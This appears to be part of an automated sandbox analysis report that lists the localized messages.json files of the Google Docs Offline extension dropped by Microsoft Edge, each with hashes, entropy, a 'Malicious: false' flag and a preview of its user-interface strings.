Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
